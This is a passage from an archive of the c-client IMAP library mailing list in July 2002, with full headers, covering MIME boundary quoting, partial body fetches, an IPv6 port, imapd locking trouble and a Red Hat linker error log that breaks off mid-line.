[193.41.154.10]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6NH1wJX005886 for ; Tue, 23 Jul 2002 10:01:59 -0700 Received: from mmail by john.connect.org.uk with local (connectmail/exim) id 17X32g-0007eO-00; Tue, 23 Jul 2002 18:01:46 +0100 Message-Id: Date: Tue, 23 Jul 2002 18:01:46 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jon Kyme" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: Mime boundary woes (Sorry) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Many apologies, I read rfc2045 and find out that imapd is correct (of course) as boundary=----_=_NextPart_001_01C18267.98C4C800 contains '=' which is a tspecial and therefore must be quoted sorry for noise. -- all the best to you and yours ... -------------------------------------------------------------------- Get your own FREE local e-mail address at http://www.merseymail.com/ From pinedev@shivax2.cac.washington.edu Wed Jul 24 03:56:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Jul 2002 03:56:48 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6OAum2P006411 for ; Wed, 24 Jul 2002 03:56:48 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jul 24 03:56:45 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6OAuioF018247 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 24 Jul 2002 03:56:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6OAuCqt026046; Wed, 24 Jul 2002 03:56:12 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6OAq8eY020180 for ; Wed, 24 Jul 2002 03:52:09 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Jul 24 03:52:08 2002 -0700 Received: from iq.wbt.ru (iq.wbt.ru [80.250.64.3]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6OAq7R8013424 for ; Wed, 24 Jul 2002 03:52:08 -0700 Received: from kfdo.p2p.wbt.ru ([80.250.65.245] helo=admin1) by iq.wbt.ru with smtp (Exim 3.33 #1) id 17XJkN-0005f3-00 for c-client@u.washington.edu; Wed, 24 Jul 2002 13:52:00 +0300 Message-Id: <001501c23300$21f758b0$9b03010a@admin1> Date: Wed, 24 Jul 2002 13:51:56 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Slava Pechenin" To: "c-client" Subject: mail_partial_body() how-to MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all c-client professionals! Studying the "internal.txt", the sources and the list archives does not make me clear how to use the library. The task is to download large message in several chunks. Is there an example of that? Would anyone be so kind to give me a generic outline of what I am to implement? Thanks for any advice -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 24 14:11:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Jul 2002 14:11:37 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6OLBb2P028314 for ; Wed, 24 Jul 2002 14:11:37 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jul 24 14:11:35 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6OLBZpB015579 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 24 Jul 2002 14:11:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6OLAweo073480; Wed, 24 Jul 2002 14:10:59 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6OL8OeY084336 for ; Wed, 24 Jul 2002 14:08:24 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Jul 24 14:08:23 2002 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6OL8Mbq003451 for ; Wed, 24 Jul 2002 14:08:23 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA06369; Wed, 24 Jul 2002 17:08:21 -0400 Received: from hickory by islet.zk3.dec.com (8.12.3/1.1.2.11/22Jul02-0533PM) id g6OL8KcO013650; Wed, 24 Jul 2002 17:08:21 -0400 (EDT) Message-Id: <011001c23356$3d9c9070$57008d10@zk3.dec.com> Date: Wed, 24 Jul 2002 17:08:20 -0400 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: IPv6 port for imap-2002.RC1 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've completed the work required to make imap-2002.RC1 work with IPv6 on UNIX. I'll send the diffs to Mark Crispin and to anyone else who wants them. The changes are confined to osdep/unix/env_unix.c and osdep/unix/tcp_unix.c . It's all done with #ifdefs so you would need to compile with -DIPV6 to use it. I've done this with AF_INET6 sockets (which work with both IPv4 and IPv6) instead of AF_INET sockets, sockaddr_in6 structs instead of sockaddr_in, getaddrinfo() instead of gethostbyname(), getnameinfo() instead of inet_ntoa() and gethostbyaddr(), etc... Tru64 UNIX is the only IPv6-capable platform I have access to, so it's the only one I've tested on, but I'm told that it's IPv6 implementation strictly adheres to the standards. IPv6 is supported on Tru64 UNIX V5.1 and later. The current version of Pine builds with c-client from imap 2001, but I've done the required IPv6 changes to that, too, if anyone's interested. My modified Pine is currently the only IPv6-capable client I've got. (Does anyone know of any others?) Peter Derr HP Tru64 UNIX Internet Engineering Group -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 25 00:32:32 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Jul 2002 00:32:32 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6P7WV2P010886 for ; Thu, 25 Jul 2002 00:32:31 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Jul 25 00:32:30 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6P7WToF018176 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 25 Jul 2002 00:32:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6P7VmR8029766; Thu, 25 Jul 2002 00:31:49 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6P79XeY076020 for ; Thu, 25 Jul 2002 00:09:33 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Jul 25 00:09:32 2002 -0700 Received: from ono.noir.com (adsl-209-233-23-248.dsl.snfc21.pacbell.net [209.233.23.248]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6P79Vlq016629 for ; Thu, 25 Jul 2002 00:09:32 -0700 Received: (from rich@localhost) by ono.noir.com (8.11.6/8.11.6) id g6P76sv19003; Thu, 25 Jul 2002 00:06:54 -0700 Message-Id: <200207250706.g6P76sv19003@ono.noir.com> Date: Thu, 25 Jul 2002 00:06:54 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "K. Richard Pixley" To: c-client@u.washington.edu Subject: babyl format driver? X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is anyone aware of a babyl format, (ie, emacs rmail format), driver for c-client? And if not, and were I to write such a thing, could anyone tell me what would be required in order to see such a driver incorporated into the standard releases? --ric -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 25 04:12:16 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Jul 2002 04:12:16 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6PBCG2P018665 for ; Thu, 25 Jul 2002 04:12:16 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Jul 25 04:12:15 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6PBCBoF022541 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 25 Jul 2002 04:12:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6PBBbeo093320; Thu, 25 Jul 2002 04:11:37 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6PB7TeY066570 for ; Thu, 25 Jul 2002 04:07:29 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Jul 25 04:07:28 2002 -0700 Received: from hotmail.com (oe30.law9.hotmail.com [64.4.8.87]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6PB7Slq012814 for ; Thu, 25 Jul 2002 04:07:28 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 25 Jul 2002 04:07:28 -0700 Message-Id: Date: Sun, 4 Mar 2001 07:47:51 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nazer Mohideen N" To: Subject: How to create a 3D text box MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C0A47F.6A0099C0" X-Originating-IP: [61.11.80.220] X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-OriginalArrivalTime: 25 Jul 2002 11:07:28.0578 (UTC) FILETIME=[76E34A20:01C233CB] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C0A47F.6A0099C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hy guys, i am begginer and i using microsoft VC++. Now i have created a = windiw and i am placing controls.=20 My problem is i have created a text box and have inserted in the window. = Everything works, but i cant get it in 3D form. That is i cant get as i = get it in VB. Thnax in advance ------=_NextPart_000_0007_01C0A47F.6A0099C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    Hy guys,
     
        i am begginer and i = using=20 microsoft VC++. Now i have created a windiw and i am placing controls.=20
     
    My problem is i have created a text box = and have=20 inserted in the window. Everything works, but i cant get it in 3D form. = That is=20 i cant get as i get it in VB.
    Thnax in = advance
    ------=_NextPart_000_0007_01C0A47F.6A0099C0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 29 10:25:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Jul 2002 10:25:05 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6THP52P011904 for ; Mon, 29 Jul 2002 10:25:05 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jul 29 10:25:04 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6THP3oF020694 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 29 Jul 2002 10:25:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6THODR8057398; Mon, 29 Jul 2002 10:24:14 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6THLLeY078730 for ; Mon, 29 Jul 2002 10:21:21 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Jul 29 10:21:21 2002 -0700 Received: from spitfire.velocet.net (spitfire.velocet.net [216.138.223.227]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6THLLR8009344 for ; Mon, 29 Jul 2002 10:21:21 -0700 Received: from one.1000camels.com (H86.C247.tor.velocet.net [216.138.247.86]) by spitfire.velocet.net (Postfix) with ESMTP id DE2A9FB45A0 for ; Mon, 29 Jul 2002 13:21:16 -0400 (EDT) Received: from localhost (walayla.1000camels.com [192.168.0.4]) by one.1000camels.com (Postfix) with ESMTP id BB43E3EBD3 for ; Mon, 29 Jul 2002 13:21:16 -0400 (EDT) Message-Id: <96893050-A317-11D6-8AD8-000502212A00@1000camels.com> Date: Mon, 29 Jul 2002 13:21:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "darcy w.christ" To: c-client@u.washington.edu Subject: multiple imapd processes Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hi, i've been having some trouble with multiple imapd processes for each user on my system. i'm running a redhat 7.2 and redhat 7.3 system. i've used both the rpm distributed from redhat and have compiled my own version of imapd. With multiple processes, users experience multiple messages (messages that we moved to the trash appear again in the inbox) and messages with mismatched subjects (ie. the subjects from other messages). One user gets a message using netscape6 claiming he cannot connect to the server, even though he does see his mail. i've read through the faq on file locking. everything that i've read suggests that redhat (linux) should not have trouble with locking, although that is the only guess i have for what is causing this trouble. i've found the locks in my /tmp directory. On one system, the lock files all begin with .8 and on the other they all begin with .3. Not sure. There are definitely locks for each of the processes. i'm hoping someone can give me some tips on how to debug this problem. i really like imap and would love to use it, but in some cases these problems are too difficult to work with. i appreciate any help i can get. thanks. ~darcy w. christ 1000camels in a courtyard -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 29 10:40:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Jul 2002 10:40:05 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6THe52P012481 for ; Mon, 29 Jul 2002 10:40:05 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Jul 29 10:40:04 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6THdxoF021196 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 29 Jul 2002 10:40:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6THcceo023896; Mon, 29 Jul 2002 10:38:39 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6THb9eY012252 for ; Mon, 29 Jul 2002 10:37:09 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Jul 29 10:37:08 2002 -0700 Received: from dhcp239.int.ca.pason.com (firewall.pason.com [216.18.39.158]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6THb8lq007432 for ; Mon, 29 Jul 2002 10:37:08 -0700 Received: (from davis@localhost) by dhcp239.int.ca.pason.com (8.11.6/8.11.6) id g6THb7X16485; Mon, 29 Jul 2002 11:37:07 -0600 Message-Id: <1027964226.1875.34.camel@dhcp239.int.ca.pason.com> Date: 29 Jul 2002 11:37:06 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Davis To: c-client@u.washington.edu Subject: Linkage problems using Redhat's c-client library Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-J7q+A19+PMkmKclmfeXu" Mime-Version: 1.0 X-Authentication-Warning: dhcp239.int.ca.pason.com: davis set sender to davis@dev.pason.com using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --=-J7q+A19+PMkmKclmfeXu Content-Type: multipart/mixed; boundary="=-/zPs4oAjhdk0EuKACf49" --=-/zPs4oAjhdk0EuKACf49 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I was wondering if someone knew the answer to the errors I'm seeing using Red Hat (7.3) c-client library. I have both rpms installed: * imap-devel-2001a-10 * imap-2001a-10 I've attached my test code and makefile. Here is linkage error that I'm getting... Any ideas? [davis@dhcp239 test]$ make gcc test.o imap.o -o test -lc-client /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_onceonlyinit': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:286: the use of `tmpnam' is dangerous, better use `mkstemp' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `auth_gssapi_valid': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:64: undefined reference to `gss_nt_service_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:64: undefined reference to `gss_import_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:67: undefined reference to `krb5_init_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:69: undefined reference to `krb5_kt_default' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:75: undefined reference to `krb5_free_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:77: undefined reference to `gss_release_name' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `auth_gssapi_client': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:119: undefined reference to `gss_nt_service_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:119: undefined reference to `gss_import_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:126: undefined reference to `gss_init_sec_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:138: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:141: undefined reference to `gss_init_sec_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:156: undefined reference to `gss_unwrap' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:163: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:170: undefined reference to `gss_wrap' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:172: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:179: undefined reference to `gss_delete_sec_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:196: undefined reference to `gss_display_status' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:202: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:209: undefined reference to `gss_display_status' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:216: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:219: undefined reference to `gss_display_status' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:225: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:232: undefined reference to `gss_release_name' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `auth_gssapi_server': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:263: undefined reference to `gss_nt_service_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:263: undefined reference to `gss_import_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:265: undefined reference to `gss_acquire_cred' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:269: undefined reference to `gss_accept_sec_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:280: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:288: undefined reference to `gss_display_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:295: undefined reference to `gss_wrap' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:298: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:299: undefined reference to `gss_unwrap' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:311: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:317: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:320: undefined reference to `gss_release_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:322: undefined reference to `gss_delete_sec_context' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:325: undefined reference to `gss_release_cred' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:329: undefined reference to `gss_display_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:332: undefined reference to `gss_display_status' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:338: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:341: undefined reference to `gss_display_status' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:346: undefined reference to `gss_release_buffer' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/auth_gss.c:351: undefined reference to `gss_release_name' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `checkpw': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:124: undefined reference to `pam_start' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:124: undefined reference to `pam_authenticate' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:124: undefined reference to `pam_acct_mgmt' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:124: undefined reference to `pam_setcred' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:130: undefined reference to `pam_setcred' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:131: undefined reference to `pam_end' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:156: undefined reference to `pam_end' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_onceonlyinit': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:299: undefined reference to `RAND_seed' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:304: undefined reference to `SSL_library_init' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_start_work': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:404: undefined reference to `TLSv1_client_method' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:404: undefined reference to `SSLv23_client_method' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:404: undefined reference to `SSL_CTX_new' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:408: undefined reference to `SSL_CTX_ctrl' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:412: undefined reference to `SSL_CTX_set_verify' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:414: undefined reference to `SSL_CTX_load_verify_locations' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:415: undefined reference to `SSL_CTX_set_default_verify_paths' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:417: undefined reference to `SSL_new' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:419: undefined reference to `BIO_new_socket' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:420: undefined reference to `SSL_set_bio' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:421: undefined reference to `SSL_set_connect_state' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:422: undefined reference to `SSL_state' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:422: undefined reference to `SSL_ctrl' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:424: undefined reference to `SSL_write' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:429: undefined reference to `SSL_get_peer_certificate' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_open_verify': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:460: undefined reference to `X509_STORE_CTX_get_error' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:460: undefined reference to `X509_verify_cert_error_string' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:462: undefined reference to `X509_STORE_CTX_get_current_cert' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:462: undefined reference to `X509_get_subject_name' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:462: undefined reference to `X509_NAME_oneline' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_getdata': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:596: undefined reference to `SSL_get_fd' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:599: undefined reference to `SSL_pending' /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:622: undefined reference to `SSL_read' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_sout': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:659: undefined reference to `SSL_write' /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../libc-client.a(osdep.o): In function `ssl_abort': /usr/src/build/90147-i386/BUILD/imap-2001a/c-client/osdep.c:685: undefined reference to 